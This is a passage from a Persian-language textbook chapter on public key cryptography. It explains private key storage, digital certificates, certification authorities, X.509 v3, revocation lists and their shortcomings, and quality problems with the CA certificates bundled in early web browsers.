کارتهای هوشمند درحال حاضر ایمن‌ترین روش برای ذخیرهٔ کلیدهای خصوصی هستند.

۲. آنها را روی رایانهٔ رومیزی ایجاد کنید و سپس کلیدهای رمزگذاری‌شده را روی دیسک فلاپی یا Flash ذخیره کنید. زمانیکه کلید مورد نیاز است، کاربر دیسک فلاپی را وارد دیسک‌گردان رایانه می‌کند، رایانه کلید خصوصی رمزگذاری‌شده را در حافظه می‌خواند، کلید را رمزگشایی می‌کند، و در نهایت از کلید برای امضای اطلاعات درخواست‌شده استفاده می‌نماید. این تکنیک نسبت به کارت هوشمند از ایمنی کمتری برخوردار است، چون در آن کلید خصوصی باید به حافظهٔ رایانه منتقل شود، جایی که ممکن است در آن مورد حملهٔ ویروسهای رایانه‌ای، تراواها، و یا سایر برنامه‌های مخرب قرار گیرد.

۳. کلید را داخل رایانه ایجاد کنید و سپس آنرا با استفاده از یک *عبارت رمزی*[۱۳۲] رمزگذاری نمایید و در یک فایل روی دیسک سخت رایانه ذخیره سازید. این تکنیکی است که برنامه‌هایی مثل PGP و Netscape Navigator برای حفاظت از

132 Pass Phrase

کلیدهای خصوصی از آن استفاده می‌کنند، و هرچند تکنیک مناسبی می‌باشد، اما اشکال آن این است که اگر کسی به رایانهٔ شما دسترسی پیدا کند و عبارت رمزی شما را بداند می‌تواند به کلید خصوصی شما دست پیدا کند. بنابراین چون کلید برای استفاده باید توسط رایانه رمزگشایی شود، نسبت به حملات برنامه‌های مخرب یا تراواها به حافظهٔ رایانه آسیب‌پذیر است.

۴. ناامن‌ترین روش برای ایجاد یک جفت کلید خصوصی/ کلید عمومی این است که از شخص دیگری بخواهید اینکار را برای شما انجام دهد و سپس کلیدهای عمومی و خصوصی خود را از او بگیرید. مشکل اصلی این روش این است که طبق تعریف، کلید خصوصی مورد دستبرد قرار گرفته است، چراکه یکنفر دیگر یک نسخه از آنرا در اختیار دارد. علیرغم این مورد، بعضی سازمانها (و بعضی دولتها) افراد را مجبور می‌کنند که از کلیدهای تهیه‌شده بوسیلهٔ شخص ثالث استفاده کنند؛ تا سازمان یک نسخه از کلید همهٔ کاربران داشته باشد و بتواند همهٔ نامه‌های الکترونیکی ارسال‌شده برای اشخاص را رمزگشایی کند. در عمل بیشتر سیستمهای رمزنگاری از گزینهٔ سوم استفاده می‌کنند – ساختن یک کلید روی رایانهٔ رومیزی و سپس ذخیرهٔ آن روی دیسک سخت رایانه.

گواهی‌های دیجیتالی

استفاده از گواهی‌های دیجیتالی و یک *زیرساخت کلید عمومی* (PKI)[۱۳۳] تلاشهایی برای وصل کردن هویت‌ها به امضاهای دیجیتالی است. گواهی دیجیتالی یک نوع خاص امضای دیجیتالی است – یک امضای دیجتالی است که به همراه یک هویت است و بگونه‌ای طراحی شده که بتواند بوسیلهٔ رایانه‌ها بصورت خودکار تفسیر شود. PKI مجموعه‌ای از تکنولوژیها و خطمشی‌ها برای ایجاد و استفاده از گواهی‌های دیجیتالی است. تأثیرگذاری این سیستمها به پیوند همزمان سه مسئله وابستگی دارد: رمزنگاری کلید عمومی که به دقت نوشته‌شده، سیاستهایی که دقیقاً اجرا و پشتیبانی می‌شوند، و همچنین یک سیستم قانونی که اجرای صحیح سیاستها را ضمانت کند. در مورد PKI در ادامهٔ همین فصل به تفصیل بحث شده است.

مشکل شناسایی دیجیتالی بوسیلهٔ کلید عمومی یک مشکل عمیق فلسفی است. چگونه می‌خواهید مطمئن شوید که یک کلید عمومی مربوط به فرد یا سازمانی است که نامش روی کلید است؟ چگونه می‌توان نسبت به یک مسئله نامطمئن کسب اطمینان کرد؟ از آنجا که قوانین و فرایندهای مشخص در ایجاد و حفاظت از این دستورالعملها دنبال می‌شوند، در عمل می‌توانیم در مورد هویت صاحبان کلیدها و صحت اعتبار گواهی‌های دیجیتالی کمی اطلاعات داشته باشیم.

سه روش اصلی برای تضمین این موضوع وجود دارد که کلید عمومی واقعاً به فردی که ادعا می‌کند مالک آن است تعلق دارد:

۱. کلید عمومی را مستقیماً از خود فرد بگیرید و صحت آنرا بگونه‌ای به تأیید برسانید که از آن کاملاً مطمئن شده باشید.
۲. مطمئن شوید که یک فرد دیگر که مورد اعتماد شماست کلید را تأیید کرده است.
۳. مطمئن شوید که یک مرکز معتبر و مورد اعتماد، صحت کلید را گواهی داده است.

تأیید شخصی صحت کلید

یک روش برای تضمین اینکه شما کلید عمومی "جین تروکارد" را در اختیار دارید انجام ملاقات با جین و تقاضا از او برای خواندن کلیدش و مقایسهٔ رقم به رقم کلید با آن چیزی است که شما دارید. اگر شما جین را بخوبی بشناسید و نیز به سیستم تلفن اعتماد داشته باشید، می‌توانید این مقایسه را از طریق تلفن انجام دهید – اما نه از طریق اینترنت که در آن ممکن است یکنفر بتواند اطلاعات عملیات مقایسه را بدزدد و ارقام را با رقمهای یک کلید جعلی جایگزین کند.

چون کلیدهای عمومی از شماره‌های بسیار طولانی ساخته می‌شوند، مقایسهٔ رقم به رقم آنها کار جالبی نیست. درعوض شما و جین می‌توانید هرکدام یک خلاصه‌پیام رمزنگاری از کلید را محاسبه کنید و کاراکترهای آن خلاصه‌ها را با یکدیگر مقایسه نمایید. این

133 *Public Key Infrastructure*

خلاصه‌ها معمولاً "اثر انگشت‌های کلید" نامیده می‌شوند. بعضی کاربران رمزنگاری کلید عمومی، اثر انگشت‌های کلید خود را روی کارتهای تجاریشان چاپ می‌کنند، لذا اگر شما کارت تجاری را مستقیماً از جین دریافت کرده باشید، می‌توانید بعداً کلید عمومی او را download و صحت آنرا بررسی نمایید.

تصدیق کلیدهای سایر افراد

زمانیکه متوجه شدید کلید جین واقعاً متعلق به خود اوست ممکن است مایل باشید سایر کلیدهای عمومی را که جین آنها را تضمین می‌کند بپذیرید. جین با امضای کلیدهای افراد دیگر بوسیلهٔ کلید خودش می‌تواند آنها را تضمین کند، و زمانیکه شما یک کلید امضاشده بوسیلهٔ کلید جین را دریافت می‌کنید، مطمئن هستید که خود جین آنرا امضا کرده است، چون می‌دانید کلید جین معتبر است و فرض را نیز بر این گذاشته‌اید که تنها خود او به آن دسترسی دارد.

پذیرش کلیدهایی که جین آنها را تضمین می‌کند بر اساس اعتبار کلید جین نیست، بلکه بر اساس میزان اعتمادی است که شما به خود جین دارید که نسبت به کلیدهایی که امضا می‌کند دقیق باشد. در بیشتر سیستمهای کلید عمومی، این دو مفهوم – اعتبار کلید و اعتماد شما به صاحب آن – مستقل از یکدیگر هستند. در بعضی سیستمها، شما می‌توانید پیش از قبول هر کلید بعنوان یک کلید معتبر، منتظر تأیید دو یا چند طرف مورد اعتماد باشید.

کاربران PGP معمولاً فهرستی از *گروههای امضا*[۱۳۴] دارند تا کلیدهای یکدیگر را بررسی و آنها را امضا کنند. یک کلید عمومی در چنین گروهی ممکن است ده یا بیشتر امضا داشته باشد که یکنفر بتواند بعدها از آن امضاها برای ارزیابی صحت آن کلید استفاده کند. کاربران PGP معمولاً کلیدهای خود را از طریق سرویس‌دهنده‌های کلید PGP در سراسر جهان توزیع می‌کنند؛ و لذا زمانیکه یک کلید را از سرویس‌دهنده کلید download می‌کنید، می‌توانید از امضاها استفاده کنید تا ببینید آیا مطمئن می‌شوید که کلید واقعاً معرف کسی که مدعی مالکیت آن است می‌باشد یا نه.

مراکز صدور گواهی: متصدی‌های شخص ثالث

هرچند "گروههای امضا" یک روش خوب برای کسب اعتماد افراد است، اما تجربه نشان داده است که یک روش عملی برای ایجاد یک پایگاه دادهٔ ملی کلیدهای عمومی تأییدشده بصورت زنجیره‌ای نیست، چراکه معمولاً پوشش آن بسیار کم خواهد بود. بعضی افراد وقت آنرا ندارند که به گروههای امضا بروند. بعلاوه، داشتن امضای کسی روی کلید یک فرد نشان می‌دهد که آن دو نفر یکدیگر را می‌شناسند، یا حداقل با یکدیگر ملاقات کرده‌اند. به همین دلیل در بیشتر موارد، استفادهٔ وسیع از رمزنگاری کلید عمومی به یک درخت گواهی‌ها ختم می‌شود که یک *مرکز صدور گواهی* (CA)[۱۳۵] در ریشهٔ آن قرار دارد. "مرکز صدور گواهی" فرد یا سازمانی است که مجوزهای دیجیتالی را صادر می‌کند.

یک مرکز صدور گواهی می‌تواند قبل از امضای یک کلید، استانداردهایی را وضع کند. بعنوان مثال، یک دانشگاه ممکن است ارزیابی کند که آن کلیدی که می‌خواهد آنرا امضا کند واقعاً به یک دانشجوی حقیقی تعلق دارد یا نه. یک مرکز صدور گواهی دیگر ممکن است هیچ استانداردی نداشته باشد. بزرگترین مرکز صدور گواهی جهان – VeriSign – چندین نوع مختلف گواهی منتشر می‌کند. این مرکز تحت *شبکهٔ مطمئن VeriSign* (VTN)[۱۳۶] گواهی‌هایی را برای استفاده عموم صادر می‌کند. این شرکت همچنین گواهی‌هایی برای استفاده در شرکتها صادر می‌نماید. پائین‌ترین سطح گواهی‌های صادر شده توسط VTN هیچ تضمینی ارائه نمی‌کنند، اما بالاترین سطوح آن تضمین می‌کنند که VTN قبل از صدور گواهی، صاحب کلید را شناسایی کرده است.

گواهی‌هایی که توسط مراکز صدور گواهی امضا می‌شود مانند شناسنامه می‌باشند که با رمزنگاری امضا شده‌اند. این گواهی‌ها شامل اطلاعات شناسایی کاربر هستند که بوسیلهٔ کلید خصوصی خود مرکز صدور گواهی امضا شده است، و اطلاعاتی چون نام مرکز،

---

134 *Signing Parties*
135 *Certification Authority*
136 *VeriSign Trusted Network*

کلید عمومی مرکز، و نیز یک شماره سریال را نیز در بر می‌گیرند. تا امروز بیشترین گواهی‌های مراکز صدور گواهی، گواهی‌هایی هستند که تضمین می‌کنند یک کلید عمومی خاص به فرد یا سازمان خاصی تعلق دارد. گواهی‌ها همچنین می‌توانند برای اثبات بکار روند، مشابه مثال دانشگاه که پیشتر ذکر شد. به روشهای متفاوتی می‌توان از خدمات یک مرکز صدور گواهی استفاده کرد:

مرکز داخلی صدور گواهی

یک سازمان می‌تواند از یک مرکز صدور گواهی برای تأیید شاغلین خود استفاده کند. گواهی‌هایی که بوسیلهٔ یک مرکز داخلی صدور گواهی منتشر می‌شود می‌تواند نام، موقعیت، و سطح اختیار یک فرد را مشخص سازد. این گواهی‌ها می‌توانند در داخل سازمان برای کنترل دسترسی به منابع داخلی و گردش اطلاعات بکار روند. این مرکز داخلی صدور گواهی می‌تواند پایه‌ای برای زیرساخت کلید عمومی سازمان باشد.

شرکتها همچنین می‌توانند از یک مرکز داخلی صدور گواهی که برای مشتریان صدور گواهی می‌کند استفاده کنند. بعنوان مثال، چند تالار بورس مشتریان خود را مجبور کردند برای آنکه اجازه داشته باشند از طریق اینترنت به داد و ستدهای پربها بپردازند، گواهی‌های لازم را دریافت کنند.

مرکز صدور گواهی *برونسپاری‌شده*

یک سازمان ممکن است بخواهد که در مزایای استفاده از مجوزهای دیجیتالی سهیم باشد، اما توانایی تکنیکی راه‌اندازی آنرا نداشته باشد. چنین سازمانی می‌تواند با یک سازمان خارجی قرارداد ببندد تا خدمات صدور گواهی را برای شاغلین و مشتریانش فراهم کند، درست مثل شرکتی که برای صدور کارتهای شناسایی با یک مرکز چاپ عکس قرارداد می‌بندد.

مرکز صدور گواهی *شخص ثالث مطمئن*

یک شرکت یا سازمان دولتی می‌تواند از یک مرکز صدور گواهی شخص ثالث استفاده کند تا کلیدهای عمومی را به اسامی قانونی افراد و شرکتها پیوند داده باشد. این مرکز صدور گواهی می‌تواند به افرادی که با یکدیگر هیچ رابطه قبلی نداشته‌اند اجازه دهد که هریک هویت خود را برای دیگری تصدیق کنند و به معاملات قانونی بپردازند. گواهی‌هایی که بوسیلهٔ یک مرکز جهانی صدور گواهی صادر می‌شوند می‌توانند با گواهینامه‌های رانندگی و کارتهای شناسایی که توسط یک دولت صادر می‌شود برابری کنند.

برای آنکه بتوانید از گواهی‌های صادر شده بوسیلهٔ یک مرکز صدور گواهی استفاده کنید، باید یک نسخه از کلید عمومی آن مرکز را داشته باشید. کلیدهای عمومی با گواهی‌های مخصوص به خودشان صادر می‌شوند. درحال حاضر بیشتر این مجوزها در مرورگر وب و سیستم‌عاملها از پیش قرارداده شده‌اند. کلیدهای عمومی مراکز صدور گواهی می‌توانند بطور دستی هم توسط کاربر نهایی اضافه شوند.

واضح است که آندسته از مراکز صدور گواهی که کلیدهای آنها از قبل در مرورگرهای وب یا سیستم‌عامل قرار داده نشده ضرر کرده‌اند. اگرچه Microsoft و Netscape درحال حاضر درهای مرورگرهای خود را به روی هر مرکز صدور گواهی که بتواند لازمه‌های تصدیق آنها را برآورده سازد می‌گشایند، اما مرورگرهای اصلی وب با تعداد محدودی از کلیدهای CA که به دقت انتخاب شده‌اند توزیع گشته‌اند. قرار دادن این کلیدها در آن برنامه‌ها امتیاز بزرگی برای مراکز صدور گواهی منتشرکنندهٔ آنها و مانعی برای سایرین بود.

سیاست کاربرد گواهی (CPS)

سیاست کاربرد گواهی (CPS)[۱۳۷] یک سند قانونی است که مرکز صدور گواهی آنرا منتشر می‌کند و توصیف‌کننده خط‌مشی‌ها و فرایندها برای صدور و ابطال گواهی‌های دیجیتالی است. CPS مربوط به یک مرکز صدور گواهی روشن می‌کند که مفهوم تأیید یک کلید توسط آن مرکز صدور گواهی چیست.

اسناد CPS طراحی شده‌اند که توسط انسان و نه ماشین خوانده شوند. یک شرکت تجاری ممکن است بخواهد گواهی یک مرکز صدور گواهی را بپذیرد که سیاستهای حداقلی صدور گواهی را ضمانت می‌کند و فرض را بر سطح معینی از تعهد در قبال دنبال نشدن خط مشی‌های گواهی بگذارد – و بخواهد که مرکز صدور گواهی توسط یک سازمان معتبر تضمین شده باشد.

گواهی X.509 v3

اگرچه مراکز صدور گواهی می‌توانند هر نوعی گواهی صادر کنند، اما در عمل بیشتر آنها گواهی‌هایی صادر می‌کنند که طبق استاندارد X.509 v3 هستند. مشابه این مسئله، بیشتر برنامه‌ها و پروتکلهای رمزنگاری از جمله SSL تنها برای استفاده از مجوزهای X.509 v3 طراحی شده‌اند. تنها استثناء مهم در اینجا PGP است، که از قالب گواهی مخصوص به خودش استفاده می‌کند، اگرچه نسخه‌های اخیر آن بعضی از مجوزهای X.509 را نیز پشتیبانی می‌کنند. (برنامه SSH از مجوزها استفاده نمی‌کند، اما درعوض متکی به تأیید شخصی کلید توسط کاربران است.)

هر گواهی X.509 شامل یک شمارهٔ نسخه، شمارهٔ سریال، اطلاعات شناسایی، اطلاعات مربوط به الگوریتم، و امضای مرکز صادرکنندهٔ گواهی است. صنعت بجای گواهی‌های اولیه X.509، گواهی‌های X.509 v3 را برگزید، چون استاندارد X.509 v3 اجازه می‌داد که "نام" و "مقدار" دلخواه بتوانند مشمول گواهی استاندارد شوند. این دو می‌توانند برای اهداف بسیاری بکار روند و باعث شوند استفاده از گواهی‌ها بدون تغییر پروتکل مربوطه گسترش یابد.

انوع گواهی‌ها

در اینترنت امروز چهار نوع مجوز دیجیتالی مورد استفاده است:

گواهی‌های مراکز صدور گواهی

این مجوزها شامل کلیدهای عمومی و نام مراکز صدور گواهی یا نام خدمات خاصی است که برای آن گواهی صادر می‌شود. معمولاً این مجوزها "خود امضا" هستند – یعنی با کلید خصوصی خود CA امضا شده‌اند. مراکز صدور گواهی همچنین می‌توانند بصورت زنجیره‌ای اعطای گواهی کنند یا کلیدهای یکدیگر را امضا نمایند. اینکه این گواهی‌های زنجیره‌ای واقعاً چه مفهومی خواهند داشت همچنان بعنوان یک سؤال مطرح است. برنامه‌های Microsoft Windows، Microsoft Internet Explorer، Netscape Navigator، و open SSL، همه به همراه بیش از ده گواهی از مراکز مختلف صدور گواهی در بازار توزیع شده‌اند.

در فهرست CAهایی که همراه مرورگرهای وب توزیع شده‌اند شرکتهای متعددی بیش از یک گواهی دارند. VerSign با بیش از ۲۰ گواهی مختلف بیشترین تعداد گواهی‌ها را دارد. امضاهای انجام‌شده بوسیلهٔ کلیدهای خصوصی متفاوت بیانگر سطوح مختلف اطمینان و اعتبار هستند.

گواهی‌های سرویس‌دهنده

این مجوزها شامل کلید عمومی یک سرویس‌دهنده SSL، نام سازمانی که آن سرویس‌دهنده را اجرا می‌کند، و نام DNS سرویس‌دهنده است. هر سرویس‌دهندهٔ اطلاعات با قابلیت رمزنگاری در اینترنت باید یک گواهی سرویس‌دهنده برای پروتکل رمزنگاری SSL داشته باشد تا بتواند بدرستی عمل کند. اگرچه هدف اصلی صدور این گواهی‌ها کمک به مشتریان در تشخیص

137 *Certification Practices Statement*

هویت سرویس‌دهنده‌های وب و جلوگیری از حملات *فرد-در-میان-راه*[۱۳۸] است، اما در عمل مجوزهای سرویس‌دهنده بیش از تصدیق هویت سرویس‌دهنده برای رمزگذاری بکار می‌روند.

گواهی‌های شخصی

این گواهی‌ها شامل نام یک شخص و کلید عمومی هستند. آنها می‌توانند اطلاعات دیگری مانند آدرس پست الکترونیکی، آدرس پستی، و تاریخ تولد شخص را نیز شامل شوند. آنها بوسیلهٔ سازمانها برای شاغلین یا مشتریانشان صادر می‌شوند. مجوزهای شخصی ذاتاً یک روش ایمن‌تر برای آن است که افراد روی اینترنت خودشان را با رمز عبور و شناسه کاربری معرفی کنند. آنها همچنین برای کاربران پروتکل رمزنگاری پست الکترونیکی S/MIME لازم هستند.

گواهی‌های تولیدکنندگان نرم‌افزار

این مجوزها برای ارزیابی امضاهای نرم‌افزارهای توزیع‌شده بکار می‌روند، مانند اجزای ActiveX و فایلهای اجرایی قابل دریافت از روی اینترنت. هریک از نسخه‌های اخیر سیستم‌عاملهای Windows به همراه تعدادی از گواهی‌های توزیع‌کنندگان نرم‌افزار منتشر شده که هر کدام می‌توانند برای تصدیق صحت امضاهای موجود روی نرم‌افزارهای کاربردی Windows بکار روند.

مجوزهای افشای حداقل

مجوزهای دیجیتالی برای زندگی خصوصی کاربران خود یک تهدید به همراه دارند. زمانیکه شما یک گواهی را به یک سرویس‌دهنده ارائه می‌دهید سرویس‌دهنده می‌تواند به آسانی همهٔ اطلاعات در مورد هویت شما که روی گواهی وجود دارد (چه برای تصدیق هویت توسط آن سرویس‌دهنده لازم باشد و چه لازم نباشد) را ثبت کند. در بسیاری از موارد سازمانی که این اطلاعات را در کارهای تجاری بدست می‌آورد آزاد است که با آن اطلاعات هر کاری که خواست انجام دهد.

یک روش برای به حداقل رساندن تهدید حریم خصوصی استفاده از *مجوزهای افشای حداقل*[۱۳۹] است. این مجوزها به مالکان خود اجازه می‌دهند که بصورت انتخابی قسمتهای خاصی را از روی مجوز منتشر کنند، بدون آنکه قسمتهای دیگر فاش شوند. مثلاً زنی که می‌خواهد به پایگاه وب گروه قربانیان سرطان وارد شود می‌تواند از مجوزهای افشای حداقل استفاده کند تا به سایت وب ثابت کند که او یک زن بالای ۲۱ سال است که سرطان سینه دارد، بدون اینکه نام یا آدرسش فاش گردد. مفهوم مجوزهای افشای حداقل توسط یک ریاضیدان به نام *استفان برندز*[۱۴۰] ابداع شد و در ماه فوریه سال ۲۰۰۰ گواهی انحصاری شرکت کانادایی *Zero Knowledge Systems*[۱۴۱] را کسب کرد.

ابطال

علاوه بر صدور گواهی، درصورتیکه مرکز صدور گواهی بفهمد که دچار اشتباه شده است یا کلید خصوصی مورد سوء استفاده قرار گرفته باید بتواند گواهی مربوطه را باطل کند. همچنین زمانیکه مدت اعتبار هریک از مشترکین به پایان می‌رسد گواهی او باید ابطال شود.

نیاز به یک مکانیزم عملی ابطال در مارس سال ۲۰۰۱ کاملاً روشن شد، زمانیکه مایکروسافت اعلام کرد که VeriSign برای فردی که به دروغ ادعا می‌کند یکی از کارمندان مایکروسافت است و نامی که بعنوان شرکت محل کار او در هر دو مجوز ثبت شده شرکت مایکروسافت است، در ماه ژانویه دو مجوز صادر کرده است. مایکروسافت اشاره کرد که "توانایی امضای فایلهای اجرایی با

138 *Man-in-the-Middle*
139 *Minimal Disclosure Certificates*
140 *Stefan Brands*
141 *http://www.wired.com/news/technology/0,1282,34496,00.html*

استفاده از کلیدهایی مدعی هستند به مایکروسافت تعلق دارند می‌تواند برای مهاجمینی که می‌خواهند کاربران را وادار به پذیرش اجرای آن فایلها کنند منافعی زیادی داشته باشد."[۱۴۲]

فهرست‌های گواهی‌های باطله

یک شیوه برای ابطال، انتشار *فهرست گواهی‌های باطله* (CRL)[۱۴۳] است. یک CRL فهرستی است از همهٔ گواهی‌هایی که توسط CA باطل‌شده‌اند و به دلایل مختلف هنوز منقضی نشده‌اند. در حالت ایده‌آل هر مرکز صدور گواهی در فواصل زمانی منظم یک CRL منتشر می‌کند. CRL در کنار فهرست کردن گواهی‌های ابطال شده، مدت زمان اعتبار داشتن خود و نحوهٔ دریافت CRL بعدی را نیز مشخص می‌کند.

درحال حاضر گواهی‌های X.509 v3 باید شامل قسمتی باشند که *نقطهٔ توزیع CRL* (CDP)[۱۴۴] نامیده می‌شود. از لحاظ نظری، برنامه‌ای که بخواهد اعتبار یک گواهی را تصدیق کند باید بتواند یک CRL را از CDP مربوطه دریافت کند تا بتواند معین کند که آیا گواهی ابطال شده است یا نه. از آنجا که بیشتر گواهی‌ها توسط تعداد اندکی از مراکز صدور گواهی صادر می‌شوند، منطقی است اگر تصور کنیم که یک برنامه می‌تواند CRL جدید را هر روز یا هر ساعت دریافت کند، و آنگاه این فهرست را برای جستجوهای پیاپی در حافظه نگه دارد. یک سازمان که ارتباط اینترنتی محدود دارد می‌تواند یکبار CRL را download و آنرا میان کاربرانش توزیع کند.

در عمل، CRLها و CDPها چندین مشکل دارند:

- اگر مرکز صدور گواهی خیلی مشهور باشد احتمال دارد که CRLها خیلی بزرگ باشند. Download کردن یک فهرست CRL با حجم مثلاً ۹۰۰ کیلوبایت از طریق اتصال تلفنی به سرویس‌دهندهٔ SSL مرکز صدور گواهی VeriSign ممکن است بیش از ۲۰ دقیقه وقت بگیرد؛
- میان زمانی که گواهی ابطال می‌شود و زمانی که CRL جدید توزیع می‌شود یک بازهٔ زمانی وجود دارد که در آن گواهی معتبر بنظر می‌آید، درحالیکه اینگونه نیست؛ و
- بسیاری از برنامه‌ها، CRLها و CDPها را بصورت صحیح پیاده‌سازی نمی‌کنند.

در مورد صدور گواهی‌های جعلی مایکروسافت که پیشتر اشاره شد، گواهی‌های نادرست باطل شدند و در CRL مربوط به VeriSign آمدند، اما متأسفانه گواهی‌هایی که VeriSign صادر کرده بود حاوی CDPهای معتبر نبود. (طبق اعلام VeriSign، بدلیل یک اشکال در پیاده‌سازی Authenticode که همراه Internet Explorer 3.02 توزیع‌شده، CDPها در گواهی‌های Authenticode وجود ندارند.) بدون وجود CDP، برنامه‌ای که تلاش می‌کرد اعتبار گواهی جعلی صادر شده را تصدیق کند، نمی‌دانست که CRL مربوطه که گواهی‌های باطله در آن فهرست شده بودند را از کجا باید دریافت می‌کرد.[۱۴۵]

ارزیابی بلادرنگ گواهی‌ها

یک راه جایگزین برای CRLها، ارزیابی اعتبار گواهی‌ها بصورت بلادرنگ است. هر زمان که لازم باشد یک گواهی ارزیابی اعتبار شود بصورت online با مرکز صدور گواهی مشورت می‌کند. سیستمهای ارزیابی بلادرنگ مشکل CRL را بخوبی حل می‌کنند، هرچند که به یک شبکهٔ قابل اعتماد و معتبر نیاز دارند.

---

142 *http://www.microsoft.com/technet/security/bulletin/MS01-017.asp*

143 *Certificate Revocation Lists*

144 *CRL Distribution Point*

۱۴۵ *در پایان مایکروسافت مجبور شد یک وصلهٔ سیستم‌عامل صادر کند تا مشکل حل شود. اصلاح مورد اشاره حاوی یک CDP اضافه بود که Internet Explorer را به دریافت اطلاعات از یک CRL محلی وادار می‌کرد تا اعتبار گواهی‌ها را ارزیابی کند، و نیز یک فهرست CRL که دو گواهی اشتباه صادر شده توسط VeriSign در آن بود.*

مشکل اول در سیستمهای بلادرنگ ارزیابیِ اعتبارِ گواهی، مشکل "مقیاس" است. از آنجا که گواهی‌ها کاربران بیشتر و بیشتری پیدا می‌کنند، سرویس‌دهنده‌های ارزیابی اعتبار نیاز دارند سریعتر و سریعتر شوند تا بتوانند به جامعهٔ درحال رشد کاربران، ارائه خدمات دهند. علاوه بر این سیستمهای بلادرنگ نسبت به حملات خرابی سرویس آسیب‌پذیر هستند. اگر یک شرکت تجاری امکان اتصال به سرویس‌دهندهٔ ابطال را نداشته باشد، با یک گواهی باید چگونه برخورد کند؟ به آن اعتماد کند یا اعتباری برای آن قائل نشود؟ اگر پیش‌فرض اعتماد کردن باشد، مهاجم می‌تواند با فرستادن درخواستهای مجازی بسیار زیاد به سرویس‌دهندهٔ ابطال موجب از کار افتادن آن در زمان استفاده از یک گواهی نامعتبر شود. اگر پیش‌فرض بی‌اعتمادی باشد، این امکان وجود دارد که مهاجم با استفاده از حملات تخریب سرویس باعث شود سرویس‌دهندهٔ ابطال در دسترس نباشد و درنتیجه کلیهٔ تراکنشها رد شوند، و اعتبار شرکت بسرعت خدشه‌دار گردد.

زیرساخت کلید عمومی

زیرساخت کلید عمومی (PKI) شامل مواردی چون سیستم گواهی‌های دیجیتالی، مراکز صدور گواهی، ابزارها، سیستمها، و نیز سخت‌افزاری است که برای بکار گرفتن فناوری کلید عمومی از آنها استفاده می‌شود.

دید بسیاری از طرفداران اولیه به PKI، یک سیستم متمرکز بود که باید بوسیلهٔ دولتها پیاده‌سازی می‌شد تا گواهی‌های دیجیتالی هم مثل شناسنامه و گذرنامه مورد تأیید دولتها باشند. این دیدگاه قابل بررسی بود، اما هرچه بود تا کنون پیاده‌سازی نشده است. شرکتهایی مثل VeriSign میلیونها گواهی برای معین کردن هویت افراد و سازمانها صادر کرده‌اند و کلیدهای امضای علایم این گواهی‌ها در مقیاس گسترده‌ای توزیع شده است. برخی از این سلسه مراتب اعتماد – مثل سلسله مراتبی که برای ارزیابی گواهی‌های سرویس‌دهنده‌های وب استفاده می‌شود – درحال حاضر توسط بیش از صد میلیون نفر مورد استفاده قرار دارد؛ اما بوسیلهٔ شرکتهای تجاری خصوصی، و نه بوسیله دولت. کلمه "عمومی" در PKI نیز باز می‌گردد به کلیدهای عمومی مورد استفاده در این گواهی‌ها، و نه به عموم مردم بصورت کلی.

مشکلات مراکز صدور گواهی امروزی

هرچند باعث تأسف است، اما اگر به گواهی‌های اصلی قرار داده شده که در Internet Explorer و Netscape Navigator نگاه دقیقی بیاندازید در خواهید یافت ناسازگاریها و مشکلات کنترل کیفیت بزرگی در مراکز صدور گواهی امروزی وجود دارد.

کوتاه بودن دوره دسترسی به سیاست‌های کاربرد گواهی

برای یک مرکز صدور گواهی اهمیت زیادی دارد که همهٔ URLهایی که در هریک از گواهی‌های که صادر کرده آمده را پشتیبانی کند. اگر یک مرکز صدور گواهی، CPS مربوط به خود را عوض کند، آنگاه هر CPS باید از یک URL یکتا بدست آید. این لینکها باید در تمام مدت اعتبار هر گواهیِ مورد تأیید که به آن CPS بازمی‌گردد قابل دسترسی باشند، چون معنای حقوقی و قانونی گواهی بدون خواندن CPS قابل تشخیص نخواهد بود. علاوه بر آن، چون این امکان وجود دارد که معنای یک امضا چند سال بعد از پدید آمدن آن مورد سؤال قرار بگیرد، قاعدتاً URLها باید برای یک بازهٔ حداقل ۲۰ ساله فعال بمانند.

متأسفانه بسیاری از گواهی‌های مراکز صدور گواهی از CPSهایی استفاده کرده‌اند که دیگر قابل دسترسی نمی‌باشند. مثلاً گواهی خود امضای Autoridad Certificadora del Colegio Nacional de Correduria Publica Mexicana, A.C. که به همراه برنامهٔ Internet Explorer 5.0 توزیع شده، از ژوئن ۱۹۹۹ تا ژوئن ۲۰۰۹ معتبر است. این گواهی ادعا می‌کند که CPS مربوط به آن در آدرس *http://www.correduriapublica.org.mx/RCD/dpc* قابل دسترسی است، درحالیکه این URL حداقل در آوریل ۲۰۰۱ قابل دسترسی نبود.

ناپایداری‌ها در فیلدهای گواهی

گواهی‌هایی که در Netscape Navigator و Internet Explorer قرار است بعنوان پایه‌ای برای زیرساخت تجارت الکترونیکی جهان و عقد موافقتنامه‌های قانونی بکار روند. آنچه این هدف را پیچیده می‌کند این واقعیت است که روشهای استفادهٔ سازمانهای متفاوت از فیلدهای گواهی بسیار متنوع است. به بیان دقیقتر، فیلد "موضوع"، که با *اسم ممیزه*[۱۴۶] خود معرف صادرکننده است هیچ قالب استانداردی ندارد، و گواهی یک مرکز صدور گواهی متفاوت ممکن است شامل صفات ممیزهٔ کاملاً متفاوتی باشد. چنانچه گواهی بخواهد در یک فرآیند برنامه‌ریزی‌شده توسط نرم‌افزار پردازش شود، الزام در استفاده از اسم ممیزه و فیلدهای دیگر حیاتی خواهد بود. اگر این الزام وجود نداشته باشد، گواهی‌ها باید بوسیله افرادی که برای شناسایی همهٔ انواع و قالبهای مختلف و قابل تصور نامهای مشروع بصورت بصری آموزش دیده‌اند مورد بررسی قرار گیرند تا بتوان گواهی‌های معتبر را از گواهی‌های نامعتبر تشخیص داد.

تاریخ‌های انقضای غیر واقع‌گرایانه

نسخه‌های اولیه مرورگر Netscape Navigator با گواهی‌هایی توزیع شد که تاریخ انقضایشان بین ۲۵ و ۳۱ دسامبر ۱۹۹۹ بود. این محصولات طولانی‌تر از آنچه انتظار آن می‌رفت همچنان مورد استفاده قرار داشتند. در پایان سال ۱۹۹۹ بسیاری از این محصولات که گواهی‌های قدیمی در خود داشتند از کار افتادند. هرچند این امکان باید وجود می‌داشت که بتوان بسادگی گواهی‌های جدید را download کرد، اما بدلیل مشکلات امنیتی دیگر در این محصولات اولیه، به کاربران توصیه شد که کل برنامهٔ کاربردی خود را ارتقا دهند. بسیاری کاربران از اینکه نرم‌افزاری که به آن وابسته بودند ناگهان از کار افتاده بود ناراضی بودند.

